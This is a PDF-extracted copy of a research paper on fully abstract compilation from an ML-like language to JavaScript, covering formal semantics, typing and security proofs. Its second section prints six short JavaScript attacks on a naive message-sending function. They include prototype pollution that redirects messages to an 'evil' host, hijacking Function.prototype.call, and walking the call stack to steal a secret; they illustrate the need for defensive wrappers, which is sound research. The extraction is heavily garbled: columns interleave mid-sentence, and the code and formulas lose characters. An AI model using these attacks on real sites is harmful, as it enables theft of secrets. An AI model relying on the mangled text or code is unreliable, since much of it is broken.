Programming | JavaScript, Ajax » Fournet-Swamy-Chen - Fully abstract compilation to JavaScript

Fully Abstract Compilation to JavaScript Cédric Fournet Nikhil Swamy Juan Chen Pierre-Evariste Dagand Pierre-Yves Strub1 Ben Livshits Microsoft Research and MSR-INRIA1 Abstract 1. f* JavaScript Many tools allow programmers to develop applications in highlevel languages and deploy them in web browsers via compilation to JavaScript. While practical and widely used, these compilers are ad hoc: no guarantee is provided on their correctness for whole programs, nor their security for programs executed within arbitrary JavaScript contexts. This paper presents a compiler with such positive guarantees. We compile an ML-like language with higher-order functions and references to JavaScript, while preserving all source program properties. Relying on type-based invariants and applicative bisimilarity, we show full abstraction: two programs are equivalent in all source contexts if and only if their wrapped translations are equivalent in all JavaScript contexts. We evaluate our compiler

on sample programs, including a series of secure libraries. Introduction Informal light translation + defensive wrappers f* context f* source Formal light translation + defensive wrappers JS* context JS JS* λJS Guha et al. JS context wrapper execution verification JSExec JSVerify Figure 1. Architecture Which semantics for JavaScript? Compared to ML, the semantics of JavaScript is daunting. There are several large ECMA standards and various implementations (mainly by web browsers) that deviate from the standard in idiosyncratic ways. Maffeis et al (2008) give an operational semantics for the ECMAScript 3 standard, which while extremely detailed, is also unwieldy in that it is not easily amenable to formal proof or to testing. An alternative approach is to give a semantics via a translation into a more standard language, and then to test this translation semantics for compliance with browser implementations. This is the approach of Guha et al. (2010), who give a translation

of JavaScript into a mostly standard, dynamically typed lambda calculus called λ JS. The translation semantics is convenient for our purposes (e.g, it is executable) and not necessarily less precise or more complex. So, following λ JS, we give a semantics to JavaScript by elaboration to F? (Swamy et al. 2011), a variant of ML with richer types We intend this new semantics to capture the main features of the ECMAScript 5 standard, including features like getters and setters that were missing in λ JS. Our semantics also includes experimental findings on implementation-specific features of JavaScript such as special arguments objects and caller and callee properties. Many tools allow programmers to develop applications in highlevel languages and deploy them in web browsers via compilation to JavaScript. These include commercial compilers like GWT for Java, WebSharper and Pit for F#, and Dart, and also several academic efforts like Links (Cooper et al. 2006) and Hop (Serrano et al.

2006) While practical and, in some cases, widely used, these compilers are ad hoc. No guarantee is provided on their correctness for whole programs, nor their security for programs executed within arbitrary JavaScript contexts. The lack of security against JavaScript contexts is of particular concern, since compiled code is routinely linked with libraries authored directly in JavaScript. Libraries like jQuery and Prototype, are widely used, provide improved support for several core webprogramming tasks, but do so by making use of highly dynamic features of JavaScript, e.g, by redefining properties of the predefined objects Less well-known libraries are also routinely included in pages, often times by simply including a pointer to the code served from another untrustworthy URL. It is also common practice to include rich third-party content (eg, advertisement scripts) in the same context as trusted JavaScript code. In all these cases, linking with a malicious or buggy script can easily

break invariants of compiled code, compromise its security, and, in general, render any reasoning principles of the source programming language inapplicable to the JavaScript code that is actually executed. This paper presents a correct and secure compiler from a variant of ML with higher-order functions and references to JavaScript. Our main result is full abstraction: two programs are equivalent in all source contexts if and only if their translations are equivalent in all JavaScript contexts. Full abstraction is an ideal compiler property, inasmuch as it enables local reasoning on source code, without the need to understand the details of the compiler or the target platform. In our case, programmers can rely on their experience with ML, with static scopes and types, or trust source-level verification toolsand largely ignore the rather tricky semantics of JavaScript. A high-level view of our technical development. Figure 1 shows the architecture of our semantics and compiler. From

left to right, the figure depicts our reflection of the semantics of arbitrary JavaScript contexts, via λ JS, into f? , the subset of F? we use in this work. f? includes higher-order functions, mutable references, exceptions with handlers, and fatal errors, but, for simplicity, we remove polymorphism. The semantics of F? is parameterized by a type signature that defines the basic constants available to a program. The language JS? is simply f? with a signature to capture the constructs needed to represent the translation of λ JSthis signature is shown in the picture as JSExec, a library providing runtime support for JS? programs. Top-down, the figure shows the architecture of our compiler. Our source language is f? (for an arbitrary signature) which is compiled in two phases to JavaScript. The first phase (the “light translation”) is compositional and translates f? constructs to the 1 2012/7/11 corresponding ones in JavaScript, e.g, functions closures to function closures

For code meant to be executed in untrusted Javascript contexts, we supplement the light translation with carefully crafted defensive wrappers to securely import and export values at every source type while preserving the translation invariant. Informally, our compiler emits JavaScript concrete syntaxwe reason formally about this output by reflecting it back into JS? , and typing it against JSVerify, a precise, typed model of JSExec expressed using monadic refinement types in f? . Our proof of full abstraction relies on refinement typing to establish several key invariants of the translation. We also develop a custom applicative bisimulation technique for proving contextual equivalence for f? , which we use to show the main result of the paper, i.e, that two f? programs are equivalent with respect to an arbitrary f? context, if, and only if, their defensively wrapped light translations are equivalent with respect to an arbitrary JS? context. We summarize our main contributions below.

−We provide a semantics for ECMAScript 5 and popular JavaScript implementation features by translation to JS? . (§4) f? function mkSend(rawSend){ var whiteList = {"http://www.microsoftcom/mail": true, "http://www.microsoftcom/owa": true}; function newSend(target, msg){ msg = "[" + secret + "]" + msg; if (whiteList[target]){ rawSend.call(null,target,windowsanitize(5,msg));} else { console.error("Rejected"); }}; return newSend ;} function sanitize(size,msg) { return msg.substring(0,size);} Figure 2. Naive implementation of a secure send Many powerful co-inductive techniques exist for program equivalence, with various combinations of types, higher-order, private mutable state, and exceptionssee, e.g, Sumii and Pierce (2005) and Lassen (2005). As discussed in §7, ours combines their features so that bisimulations precisely capture the invariants of wrapped translation within untrusted JavaScript contexts. 2. Challenges in secure

JavaScript programming −We formalize a compiler from to JavaScript as a translation to JS? . We apply refinement types to JS? and prove that this translation is a forward simulation, and that it preserves a typing and heap invariant. From this we get safety and correctness for the translation of closed programs executed in isolation. (§5) To illustrate the difficulty of writing secure JavaScript code, we naively implement a protection mechanism around a trusted, external function rawSend for posting messages to some target domain (Fig. 2) By calling mkSend(rawSend), we should obtain a function that meets the following policy: −We show defensive wrappers for securely exchanging values of various types (including functions) with an untrusted context, and prove that defensively wrapped programs are well-typed when composed with an arbitrary JS? context. (§6) • Send messages only to whitelisted URLs (to avoid privacy −We develop a new co-inductive proof technique for f? ,

using labelled bisimulation to capture the interactions of configurations of related terms with their abstract context, such that bisimilarity coincides with contextual equivalence. (§7) −We prove our compiler from f? to JS? fully abstract by extending our translation from terms to configurations. (§8) −We implement our compiler and report preliminary experimental evaluation, as well as several small security applications. (§9) Disclaimer As usual, full abstraction only holds within our semantics of JavaScript, and various side channels may still exist in JavaScript implementations, based for instance on stack or heap exhaustion, or timing analysis. This presentation necessarily omits many details. Additional materials, including our language semantics, proofs, sample programs, and updated F? theory in Coq are available online at http: //research.microsoftcom/fstar Related work. Programming language abstractions have long been recognized as an essential means for protection

(Morris 1973); their secure implementations are often specified as full abstraction (Abadi 1998; Abadi and Plotkin 2010; Abadi et al. 2002; Agten et al. 2012) Conversely, many attacks can be interpreted as failures of abstraction, for instance when compiling from Java to the JVM, or from C# to .NET (Kennedy 2006) There has been some recent work on protecting JavaScript programs from malicious contexts. For example, Taly et al (2011) apply a dataflow analysis to check that programs in a subset of ECMAScript 5’s strict mode (lacking getters and setters) do not leak private data to an adversary. Using this analysis, the authors were able to prove the safety of object-capability idioms used by the Caja (Caja 2012) framework, which rewrites JavaScript applications to confine security-critical objects, such as the DOM, behind object-capabilities. This confinement property is related to the invariant enforced by our wrappers, which we check by typing Taly et al., however, do not deal with

full abstraction 2 leaks); of at most 5 characters (to bound resource usage); that includes a secret credential (to identify the service users). • Do not leak the rawSend function, to prevent bypassing our protection mechanism. Our implementation calls a sanitize function, hypothetically provided by some other trusted library. As typical in JavaScript, linking is performed dynamically through the global name-space For simplicity, we use our mechanism to protect an anonymous function that prints the message and its target on the console. The resulting protected send function is exported to the global namespace and therefore made available to untrusted scripts: send = mkSend(function (target, msg) { console.info("Sent " + msg + " to " + target);}); In isolation, our code seems to enforce our policy. However, we are going to demonstrate how, by carefully manipulating the context, a malicious script can bypass our protection mechanism. We do not claim any novelty

in describing these attacks (Caja 2012; Meyerovich and Livshits 2010; Taly et al. 2011): with these examples, we aim at giving our reader a glimpse at the challenges met by security-conscious JavaScript programmers as well as prepare the ground for our defensive wrappers in §6. Attack 1: Overwriting global objects Importing objects from the global name-space is risky: by definition, every script has access to this name-space. For instance, a script can maliciously replace the sanitize function right before calling the send operation: sanitize = function (s,msg) { return msg }; send("http://www.microsoftcom/owa", "too long!"); To prevent this attack, we must run mkSend before any hostile script (first-starter privilege) and store a private copy of sanitize as well as any other trusted library function. Attack 2: Source code inspection Unsurprisingly, hiding secrets in source code is to be avoided. Supposing that we wanted to keep secret the whiteList, a malicious

script can use the toString method on the mkSend function to retrieve its content: var targets = mkSend.toString()match(/’*?’: true/g) targets = targets.map(function (s) { return s.replace(/’(*?)’: true/,"$1") }); 2012/7/11 A mere regular expression matching on the resulting string lets us extract the list of valid targets. This is not, as such, a violation of the specification, yet it is a rather unusual feature. To prevent this, we can for instance η-expand the function we wish to hide: syntactically wrapping the function is enough to hide it. Attack 3: Redefining Object Since JavaScript is a prototypeoriented programming language, we can dynamically modify properties of any object in the system. In particular, we can add a field to the prototype of the canonical object, Object, hence extending the set of whiteLists without even referring to whiteLists itself: Object.prototype["http://wwwevilcom"] = true;

send("http://www.evilcom","msg"); To preclude this attack, we must check that any given field is indeed part of the whiteList object, and not inherited from its prototype chain. To this end, we may use the more verbose whiteList hasOwnProperty(target) method instead of whiteList[target]. Attack 4: Intercepting function calls Another abuse of prototyping consists of redefining the Function.prototypecall method: doing so, we can intercept the instruction rawSend.call and capture the (unprotected) rawSend function in a closure: var psend; Function.prototypecall = function (thisp) { psend = function (o){ return function (args) { return o.apply(thisp, args);};}(this); return this.apply(thisp, Arrayprototypesliceapply (arguments,[1]));} send("http://www.microsoftcom/mail", "msg"); psend(["http://www.evilcom", "msg"]); After the successful completion of the protected send function, the psend variable contains the function rawSend

initially passed to mkSend. Again, maintaining and using a pristine version of Function.prototypecall alleviates this issue Attack 5: Side-effectful implicit coercions JavaScript is wellknown for its arcane specification: part of the complexity comes from the treatment of coercions: should the need arise, objects are automatically coerced at run-time. Instead of a string, for instance, we can pass an object with a toString method that returns a valid string on the first use (checked against the whitelist) and another string as the actual send operation is performed: var count = 0; var target = { toString: function() { return count++ == 0 ? "http://www.microsoftcom/owa" : "http://www.evilcom" }}; send(target, "msg"); To tame these implicit coercions, we must explicitly check that the input arguments are of the correct type, using the typeOf method. Alternatively, we may force a coercion upon receiving the arguments and store the resultthis is the case for

msg in Fig. 2 Attack 6: Walking the call stack Finally, stepping outside ECMA specifications, most implementations of the Function object provide a caller property that points to the caller of the stack frame under execution. Abusing this mechanism, any callback (such as an implicit coercion or a getter) grants access to the arguments of its caller newSend, including msg after concatenation with secret: var c; var target = { toString: function toStr () { c = toStr.callerarguments[1]match(/[(*?)]/)[1]; return "http://www.microsoftcom/mail" }} send(target, "msg"); Our proposal The examples above show that local reasoning about code in JavaScript can be compromised through a variety of attacks. Hence, writing secure code in JavaScript is a hardship: one must take a great deal of attack vectors into account, and one ends up maintaining extremely cumbersome programs, which makes them more error-prone. Compilers, on the other hand, are specifically designed to apply

transformations to generate intricate low-level code. ML appears as an effective source language to compile to JavaScript: being functional, we can rely on closures and higher-order functions also available in JavaScript; being statically typed and scoped, we can avoid most of the complications above; being impure, we can adopt a programming style that approaches idiomatic JavaScript. In ML, the example of Fig 2 can be written as shown below, which is obviously secure. let mkSend rawSend = let whiteList = ["http://www.microsoftcom/mail"; "http://www.microsoftcom/owa"] in fun target msg let msg = "[" ˆ secret ˆ "]" ˆ msg in if mem target whiteList then rawSend target (sanitize 5 msg) else consoleError "Rejected." 3. Semantics and monadic typing of f? F? is a dependently typed dialect of ML, with a deterministic, call-by-value, small-step operational semantics. The display below shows the syntax of the fragment of F? we use in this

paperwe call this fragment f? . We have extended the original presentation of the language (Swamy et al. 2011) with exceptions, fatal errors, and primitive support for a mutable store. The syntax is partitioned into values v, containing variables, memory locations, abstraction over terms, and n-ary, fully applied data constructors. We add a form of results r, which, in addition to values, includes exceptions raise v and fatal error. Expressions are in a partial administrative normal form, with function application e v requiring the argument to be a value. We also have pattern matching, reference allocation, assignment and dereference, and exception handlers. Syntax of f? v r e ::= ::= ::= t H F[ ] E[ ] S Γ ::= ::= ::= ::= ::= ::= x | ` | λ x:t.e | D t¯ v̄ v | raise v | error r | e v | let x = e in e0 | v1 := v2 | ref v | !v | try e with x.e | match v with D ᾱ x̄ e else e0 T | ref t | t t 0 · | (` 7t v) | H, H 0 | F v | F t | let x = F in e | E v | E t | let x = E in e |

try E with x.e · | D:t | T ::κ | S, S0 · | Γ, x:t | Γ, α | Γ, `:t | . values results terms types store exn. ctx eval. ctx signature type env. An f? runtime state, written H | e, is a pair of a store mapping locations to values and a program expression. The reduction relation has the form H | e S H 0 | e0 where the index S is a fixed inductive signature that defines all constructors. We expect the signature to define various constructors, but it always includes at least a type exn of exceptions, types ref t for references, and unit. We also freely use common primitive types like int and bool, and expect these to be in the signature as well. We consider several instantiations of the signature S in this paper, eg to embed dynamically-typed JavaScript within f? (§4) and to define our source language (§5). This code enables us to retrieve the credential by matching the msg argument. Similarly, we could retrieve any secret on the call stack To guard against this attack, we must

explicitly set the caller field of our functions to null before any potential callback. Syntactic sugar We write applications e e0 and assume that this is normalized to let x = e0 in e x, for some fresh x. A similar transformation applies for other forms, like pattern matching, reference operations, exception raising, etc. We write if e then e1 else e2 for match e with true e1 else e2 . We write e1 ; e2 for let = e1 in e2 Additionally, in code listings, we rely on the concrete syntax of F? , which closely resembles OCaml and F#. 3 2012/7/11 Plain types F? includes various dependent typing features, but we ignore this in f? , and restrict the types to a monomorphic subset of ML, i.e, function types t t 0 , references, and recursive datatypes Nevertheless, we have extended our Coq-based metatheory of the full F? language to include exceptions, state and errors, and proved subject reduction for the reduction of open terms, i.e, terms that may contain free variables, which is

used in §7 and §8. We present a specialized version of this theorem below, where we use the type judgment for F? runtime states. This is written here as S; Γ ` H | e : t, denoting that in an environment including the signature S, free variables Γ, and the typed domain of H (written σ (H)), the store H is well-typed and the expression e has type t. When the signature S is evident from the context, we simply write Γ ` H | e : t. Theorem 1 (Type soundness for open-term reduction). Given S, Γ, H, e, and t such that S; Γ ` H | e : t, either (1) e is a result; or (2) e is an open redex, i.e, e ∈ {E[x v], E[match x with ], E[x := v], E[!x]}; or (3) there exist H 0 , e0 such that H | e S H 0 | e0 and S; Γ ` H 0 | e0 : t. Contextual Equivalence We only observe well-typed terms and compare them at the same plain types. Following Theorem 1, we define basic observations on runtime states s: (1) s returns, that is, s S ∗ O | r, with three kinds of results: any value (written s ⇓);

any exception (written s ⇓ raise); or an error (written s ⇓ error); or (2) s diverges (written s ⇑) when it has an infinite sequence of reductions; or (3) (only in case s is open), s reduces to a redex with a free variable instead of a value in evaluation context. We define contextual equivalence for closed values and expressions, considering all typed evaluation contextsthese restrictions are unimportant, inasmuch as our language is higher-order. Definition 1 (Contextual Equivalence). Two (closed, typed) runtime states s and s0 have the same behavior, written s ≈•e s0 , when they either both return the same kind of result, or both diverge. Two (closed, typed) terms are equivalent, written e ≈e e0 , when they have the same behavior in all evaluation contexts. Precise monadic types for f? specifications In order to verify JS? and to structure the full abstraction proof, we make use of another, monadic, surface-level type system for f? this is partly described in a concurrent

submission and the full formulation is available in a technical report (Schlesinger and Swamy 2012). The key idea behind this type system is the Dijkstra state monad. Using the monad, we write types of the form DST t φ , for the type of a stateful computation yielding a t result, and with specification described by the weakest pre-condition predicate transformer φ . The transformer φ of DST t φ takes a post-condition formula post, relating a result of type t and a heap h f inal , and returns a pre-condition formula pre, a predicate on an input heap hinit . Given a program e : DST t φ and some particular post-condition post to be proven, the F? type checker builds a verification condition φ post and uses Z3, an SMT solver (de Moura and Bjørner 2008) to try to discharge the proof. We show the syntax of monadic types below, a subset of the full type language of F? . Syntax of Dijkstra monadic types in F? t φ κ a ::= ::= | ::= ::= T | x:T {φ } | t t | α::κ, x:t t 0 |

α:κ.x:t DST t φ types > | ⊥ | φ ∧ φ | φ ∨ φ | ¬ φ | ∀x:t.φ | ∃x:tφ formulas P | fun x:t⇒ φ | fun α::κ⇒ φ | φ a | φ φ 0 ? | E | x:t ⇒ κ | α::κ ⇒ κ 0 kinds V v | E v | err | v | t | sel a a | upd a a a | a1 + a2 . logic term As before, the type language is parameterized by a signature S that also defines a set of type constructors T . These types may be refined with formulas (x:T {φ }). Data constructors are n-ary and are given pure dependent function types α::κ, x:t t 0 . Otherwise, general function types have the form α:κ.x:t DST t φ , that abstract over 4 type variables α and an argument x:t, with a monadic co-domain dependent on ᾱ, x. Finally, we also have type application Predicate transformers φ include logical formulas with the usual connectives; and predicate symbols P, which include both interpreted predicates like equality (=), as well as uninterpreted ones that may be provided by the signature S. The φ language

also includes within it a strongly normalizing applicative language of functions over logical terms and other predicates. We write fun x:t ⇒ φ and fun α::κ ⇒ φ for predicate literals or, in the latter case, for transformers from a predicate α of kind κ to φ . Formulas φ can be applied to other formulas φ or to logical terms a. We have two base kinds: ? the kind given to value types, while E is the kind of types which stand for erasable specifications. A sub-kinding relation treats ? ≤ E. We include dependent function kinds, both from types to kinds, and from kinds to kinds. In most cases, unless we feel it adds clarity, we omit writing kinds. The type system is parametric in the choice of logic used to interpret formulas. By default, we use the logic provided by Z3, a first-order logic with uninterpreted functions and theories of functional arrays, arithmetic, datatypes, and equality. For example, we use the interpreted functions sel and upd, from the select/update

theory of functional arrays (McCarthy 1962), to model the store. Logic terms also include three kinds of result constructors: V v is a result value; E v is an exceptional result; and err is the error value. The key judgment in the monadic type system is written S; Γ `D H | e : DST t φ for runtime states. For example, we can type the program λ x:ref int.x :=!x + 1 as x:ref int DST unit Λpost.λ h:heappost (V ()) (upd h x ((sel h x) + 1))) This is the type of a function from integers x to unit, where the weakest precondition for any post-condition post relating a unit result to the output heap is the formula post (V ()) (upd h ((sel h x) + 1)), indicating that the function always returns normally with () and updates the input heap h with the contents of location x incremented. The soundness theorem for monadic types also applies to open reductions of F? . We state this theorem below Theorem 2 (Monadic soundness). Given S, H, Γ, e,t, φ such that S; Γ `D H | e : DST t φ ; and an

interpretation function asHeap from runtime stores H to the type heap; and a post-condition ψ such that S; Γ |= φ ψ (asHeap H) is derivable; either: (1) e is a value v and Γ |= ψ (V v) (asHeap H); (2) e is raise v and Γ |= ψ (E v) (asHeap H); (3) e is error and Γ |= ψ err (asHeap H); (4) e is an open redex; or, (5) there exist H 0 , e0 , φ 0 , such that (H, e) S (H 0 , e0 ), S; Γ `D H 0 | e0 : DST t φ 0 and S; Γ |= φ 0 ψ (asHeap H 0 ). 4. A translation semantics for JavaScript This section presents a fragment of our semantics of ECMAScript 5 at a fidelity suitable for security verification. We base our semantics on λ JS, a dynamically typed core language to which Guha et al. (2010) translate JavaScript The λ JS implementation has been extensively tested for compliance with respect to various browser implementations of JavaScript. While extremely useful, λ JS omits some key features that are relevant for the purpose of secure compilation. We extend λ JS and

translate it to JS? , augmenting it with these features. This allows us to carry out our formal development entirely within a single language, f? . λ JS (Review) Our starting point is λ JS: we rely on the presentation of Guha et al. (2010), as well as details gleaned from their implementation. We recall a few key features of JavaScript in λ JS for objects and functions, using the selected syntax shown below. Selected syntax of λ JS: values, expressions e ::= | . | { fi : ei } | e1 [e2 ] | e1 [e2 ] = e3 | delete e1 [e2 ] λ p (xthis , x0 , . , xn−1 )e | e(ethis , e0 , , en−1 ) 2012/7/11 Objects λ JS expressions { fi : ei } represent object contents, as maps from property names fi (strings) to values vi . These maps are stored into mutable references, representing JavaScript objects. Expressions e1 [e2 ], e1 [e2 ] = e3 , and delete e1 [e2 ] are used to lookup, assign, and delete property e2 from object e1 . Functions In λ JS, the representation of a JavaScript

function is an object with a special property “@code” that stores the function’s closures. For instance, function (x){return xfoo;} is translated to the following λ JS object: ref{"@code": λ p (x this, x). x["foo"], "@proto":, "prototype": } All functions take an additional ‘this’ pointer x this; and are decorated with a source location p, which we interpret as any string representation of the source function code and use to define toString. Accordingly, the function call f ("foo": 1) is desugared to λ JS as (deref f)["@code"](global, ref {"foo": 1, .}), where the "@code" closure is explicitly applied to a ‘this’ pointer (here the global object) and an object that maps "foo" to 1. From λ JS to JS? . Our language for translating JavaScript programs and contexts, and giving them an operational semantics, is the instance of f? (§3) with the datatype signature of JSExec, a f?

library discussed below. JSExec defines a type dyn for JavaScript values, with a constructor for each JavaScript type. For instance, the JavaScript string literal "rome" is translated to Str "rome". type dyn = Null : dyn | Undef : dyn | Bool: bool dyn | Str: string dyn | Int: int dyn | Num: float dyn | Obj: loc dyn | Fun: dyn (dyn dyn dyn) dyn and obj = list (string ∗ property) and loc = ref obj and property = Data: attrs dyn property | Accessor: attrs (dyn ∗ dyn) property type exn = Break : int dyn exn | Exn : dyn exn | Return : dyn exn JavaScript objects are implemented as references to a map from strings (property names) to property, the type of values or accessors (getters and setters). The property attributes attrs specify, eg, whether they are writable or enumerable (although we do not rely on any of these attributes for security). Getters and setters are treated as functions, called to perform property lookups or assignments. JavaScript

functions are represented by the JS? value Fun o f, constructed from an o:dyn, representing the function object, and a function closure f. We also show the three kinds of exceptions used by JS? (discussed shortly). JSExec includes code for primitive JavaScript operations, including, for instance, JS? functions that implement ===, ==, typeof, toString, Function.Prototypecall, , and the top-level objects We focus on describing JSExec’s model of JavaScript’s calling convention, control operators, and property lookupswe refer to the full paper for a more complete presentation. We begin, however, with an internal function lookup (shown below), which simply looks up the property name f is the map of an object (accounting for function values as well). let lookup (d:dyn) (f:string) = match d with Fun (Obj l) | Obj l assoc f !l | None A corresponding function update, updates the object’s map. We use both these functions via the following shorthands: the arguments of its most recent

activation, if any), as well as a caller field that points to the function object of its most recent caller (which may be f again, if it makes a recursive call; or null for a top-level call). This makes all JavaScript functions recursive through the store, since they always have access to their own object. In order to model this behavior, JSExec provides mkFun to create a function object. let mkFun (s:string) (code: dyn dyn dyn dyn) = let o = alloc () in let f : dyn = Fun o (code o) in oh"@code"i = f; oh"@toString"i = Str s; oh"prototype"i = .; .; f We illustrate its use on our sample JavaScript function, whose JS? version is below: mkFun p (fun me x this arguments select me (select me arguments "0") "foo") We call mkFun with a unique string parameter p, representing the text of the function’s body, and a primitive JS? function that receives three arguments: me is the function object of the soon-tobe-created function; x this is

its ‘this’ parameters; and finally an arguments object. What mkFun does is to allocate a new object o, partially apply the closure o, thereby allowing the newly defined function to capture its own object in its closure environment. It then sets several properties of the newly created function object. To call a function, JSExec provides apply, which receives four arguments: caller, the object of the calling function; callee, the function to be called; a this pointer; and an args object. let apply (caller:dyn) (callee:dyn) (this:dyn) (args:dyn) : dyn = match callee with | (Fun o f) let caller0 = oh"caller"i in let args0 = oh"arguments"i in try oh"caller"i = callerh"@code"i; oh"arguments"i = args; argsh"callee"i = callee; f this args with Break error | e raise e finally (oh"caller"i = caller0; oh"arguments"i = args0) | . Informally, apply calls the callee’s closure, passing the this parameter and

args. However, it also saves the callee’s current caller and arguments fields; then sets its callee and arguments field to the current values, and likewise wires up a back pointer from args back to the callee; and finally makes the call. Using the try-with-finally form (whose desugaring is shown below), apply ensures that it resets the old values before returning, even if f raises an exception. Experimentally, this reflects major browser implementations of JavaScript. Exceptions and control operators. We model exceptions and JavaScript’s imperative control operators all using f? ’s exceptions. JavaScript has an operator break l, which returns control to the code location labeled l (which must be defined within the same function body); as well as the usual return statement. λ JS desugars both to a single form, which we represent as the exception Break l v. Additionally, we have Exn v for JavaScript exceptions, and a final form of exception Return v, which we use to encode

JavaScript’s finally clauses. We show this encoding below try e1 finally e2 , try raise (Return e1 ) with y. match y with | Return r e2 ; r | e2 ; raise y try e1 with e2 finally e3 , try (try e1 with e2 ) finally e3 Function creation and application. While outside the ECMAScript specification, a quirk of JavaScript implemented by most browsers is in its calling convention. Functions f receive all their (variable number of) arguments in a single arguments object. This object has a field called callee, which refers back to the function object of f , which itself has an arguments field (pointing back to Property lookup. In JavaScript, properties of objects are first looked up in the object’s own properties then, if not found, in the object’s prototype (stored in a special property “@proto”), walking the prototype chain as needed. Once found, if the property happens to be a getter, then the getter function is called. This is implemented by the select function in JSExec, shown

below. Since calling the getter requires passing a caller object, we write select caller l f to select a field f from the object l when in the context of the function object caller. (Recall that the translation of our example function included a call to select passing its me object as a parameter.) 5 2012/7/11 • e1 h f i = e2 , update e1 f e2 • eh f i , match lookup e f with Some(Data x) x else Undef. let rec getProperty (l:dyn) (f:string) = match lookup l f with | Some p Some p | None match lookup l "@proto" with | Some (Data l’) getProperty l’ f | None None let select (caller:dyn) (l:dyn) (f:string): dyn = match getProperty l f with | Some(Accessor (g, )) apply caller g l (mkEmptyArgs()) | Some(Data d) d | Undef On eval. JSExec does not support dynamic scripting (eval), as this would involve parsing, translating, and loading JS? code at run time. On the other hand, JS? contexts can implement any ‘primitive’ function eval using the datatypes of

JSExec, together with any values they obtain by interacting with our wrapped translation. We conclude this section with a simple result. Every λ JS program translated to JS? is well-typed against the JSExec signature Theorem 3 (Typability of λ JS translation). For λ JS programs e, with free variables x, given the signature S of the JSExec library, we have S; x:dyn; · `m JeKNull : dyn. Contextual Equivalence in JavaScript By translating JavaScript programs to JS? , we implicitly compare them with the contextual equivalence of §3 (Definition 1). This equivalence assumes the existence of fatal errors. In JavaScript, we may instead use any code with an immediate observable effect, such as alert("error ") or window.location = "http://errorcom" This equivalence is finer than JavaScript equivalence in all JavaScript contexts, inasmuch as it quantifies over all JS? contexts, not just those in the image of the translation. Thus, we err on the safe side: most of our

results apply unchanged for variants and extensions of JSExec (as long as its signature S is unchanged) for instance to model additional primitives of particular JavaScript implementations. Besides, §8 shows that translations of JavaScript contexts are complete at least for interacting with wrapped translated f? programs. 5. A type-preserving compiler from f? to JS? We begin with the compilation scheme we have implemented from f? to JavaScript (outlined below). Following standard practice, we assume uniqueness of variable names. We translate functions to functions, references to objects with a single field, and datatypes to tagged objects with a field for each argument. The light translation: A compiler J·K from f? to JavaScript to expressions that allocate several objects, subject to a calling convention with several side-effects. Hence, formally, our compiler relates f? term to JS? terms: within this framework, we prove that contextual equivalences at the f? level are reflected

down to the JavaScript level, i.e, our compiler is correct To prove our compiler correct, and to structure the full abstraction proof of §8, we type JS? programs against an f? library called JSVerify, a counterpart of JSExec with precise monadic types. JSVerify enhances a library developed for verifying JavaScript programs (described in detail in a concurrent submission). It partitions the heap of a JS? program into four logical compartments that capture some invariants of our translation, as follows: Inv: the invariant heap Let-bound variables, arguments and datatypes are immutable in f? but held in heap locations in JS? . To keep track of such locations, we place them in a logical compartment called the Inv heap. A complication that we handle is that these locations are not strictly immutableJavaScript forces us to preallocate locals, requiring a mutation after allocation. Additionally, the calling convention mutates some fields of the arguments object. Ref: the heap of source

references Locations used to represent the translation of f? values of type ref t are placed in the Ref heap, where an invariant ensures that the content of a Ref heap cell, once initialized, always holds a translation of a t-typed source value. Abs: the abstract heap for function objects Every function in JS? is associated with a heap-allocated object whose contents is updated at every function call, following the JavaScript calling convention. We place these unstable locations in the Abs heap, and ensure that translated source programs never read or write from these locations, i.e, function objects are abstract Un: the untrusted heap of the attacker A final heap compartment is used to model locations under the control of the attacker. Our full-abstraction proof relies crucially on a strict heap separation to ensure that a location from the other compartments never leaks into the Un heapwith one exception, which we discuss in §6. To keep track of these heap compartments, JSVerify

enriches the representation of heap locations (type loc = ref obj) in JSExec with (ghost) metadata, defined as shown below. We have a tag for each compartment. The type object, which is a wrapper around the type obj, associates it with its tag and a predicate ’P, which is an invariant on the contents of the object. type tag = Inv : tag | Ref : tag | Abs : tag | Un : tag type object = O : ’P::(obj ⇒ E ) tag obj object type loc = ref object JxK 7 x JCt¯T v̄K 7 {"tag":"C","i":Jvi K} Je1 v2 K 7 Je1 K(Jv2 K) Jlet x = e1 in e2 K 7 (x=Je1 K, Je2 K) Jref vK 7 {"ref":JvK} Jv1 := v2 K 7 Jv1 K.ref=Jv2 K J!vK 7 JvK.ref JerrorK 7 alert("error") Jλ x:t.eK 7 function(x){var x;returnJeK;} where x̄ =locals(e) Jmatch v with Ct¯T x̄ e1 else e2 K 7 (JvK.tag==="C")?(x i=JvK["i"], Je1 K):Je2 K To reason about the contents of the JS? heap, we interpret the To ensure that the compilation is compositional, we compile

matching and let-binding to conditional expressions e?e0:e1 and sequence expressions (x=e0,e1)in JavaScript, this expression evaluates e0, assigns the result to local variable x, then evaluates e1. The only statement forms we use are within functions, where we use var declarations and return. For simplicity, the input of the translation does not contain exceptions and their handlers, but we still study the properties of the translation for all f? evaluation contexts (with exceptions). We also require that f? does not have ref unit because two values of type ref unit are contextually equivalent in f? but are translated to two objects distinguishable by JavaScript reference equality. Despite its apparent simplicity, the correctness of our compiler is not obvious. Several corner cases of JavaScript semantics lurk beneath the surface syntax. For instance, functional values translate 6 heap type as a two-dimensional array of property values, indexed first by loc and then by string. In

particular, we use the following interpreted functions in our specifications The function Sel h l selects the contents of location l in heap h, while Upd h l o updates the contents of the same location with o. The functions SelObj and UpdObj are similar, but for the obj map, and SelFld and UpdFld compose the selectors/mutators for heap and obj. We have an empty heap Emp and an empty object EmpObj. We have predicates InHeap h l and InObj o f to test whether a value is in the domain of a map. We write ProtoObj o for an object that has only its "@proto" field set. GetLoc (Data (Obj l)) is l and is otherwise unspecified. Likewise, GetFunObj (Fun o code) = o and is otherwise unspecified. To relate f? runtime stores H to logical heaps, we define a function asHeap from stores to maps representing the u-heap, for u : tag. asHeapu · asHeapu (` 7 (O t u v)), H asHeapu (` 7 (O t w v)), H asOb j [] asOb j ( f , v) :: l asHeap H = = = = = = Emp Upd (asHeapu H) ` (O t u (asOb j v))

